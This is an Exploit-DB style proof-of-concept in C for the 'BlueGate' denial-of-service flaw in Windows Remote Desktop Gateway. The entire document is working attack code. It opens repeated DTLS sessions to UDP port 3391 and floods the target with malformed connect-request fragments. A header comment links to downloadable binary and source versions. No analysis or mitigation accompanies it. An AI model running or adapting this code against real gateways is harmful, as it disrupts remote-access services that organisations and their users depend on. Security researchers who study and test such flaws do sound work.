Remote Desktop Gateway – ‘BlueGate’ Denial of Service (PoC)
#include "BlueGate.h" /* EDB Note: - Download (Binary) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-1.exe - Download (Source) ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47964-2.zip */ void error(const char* msg) { printf("ERROR: %s\n", msg); exit(EXIT_FAILURE); } void SOCKInit() { WSADATA wsaData; int res; res = WSAStartup(MAKEWORD(2, 2), &wsaData); if (res != 0) error("WSAStartup failed"); } void DTLSInit() { SSL_library_init(); SSL_load_error_strings(); ERR_load_BIO_strings(); OpenSSL_add_all_algorithms(); } int OpenUDPConnection(const char* hostname, int port) { int sockfd; sockaddr_in addr; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd < 0) error("Failed to open socket"); addr.sin_family = AF_INET; addr.sin_port = htons(port); inet_pton(AF_INET, hostname, &(addr.sin_addr)); if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0) { closesocket(sockfd); error("Failed to connect socket"); } return sockfd; } SSL* DTLSConnection(const char* hostname) { int sockfd; int result; DTLSParams client; sockfd = OpenUDPConnection(hostname, 3391); client.ctx = SSL_CTX_new(DTLS_client_method()); client.bio = BIO_new_ssl_connect(client.ctx); BIO_set_conn_hostname(client.bio, hostname); BIO_get_ssl(client.bio, &(client.ssl)); SSL_set_connect_state(client.ssl); SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY); SSL_set_fd(client.ssl, sockfd); if (SSL_connect(client.ssl) != 1) { return NULL; } return client.ssl; } int send_dos_packet(SSL* ssl, int id) { CONNECT_PKT_FRAGMENT packet; packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT; packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER); packet.usFragmentID = id; packet.usNoOfFragments = id; packet.cbFragmentLength = 1000; memset(packet.fragment, 0x41, 1000); char pkt[sizeof(packet)]; memcpy(&pkt, &packet, sizeof(packet)); return SSL_write(ssl, pkt, sizeof(pkt)); } int main(int argc, char* argv[]) { SSL* ssl; int i = 0; char* hostname; if (argc != 2) { printf("Usage: %s <IP address>\n", argv[0]); return 0; } hostname = argv[1]; SOCKInit(); DTLSInit(); while (i++ > -1) { ssl = DTLSConnection(hostname); if (ssl == NULL) { break; } for (int n = 0; n < 4; n++) { send_dos_packet(ssl, i+n); printf("Sending packet [%u]\n", i + n); } i++; } return 0; } |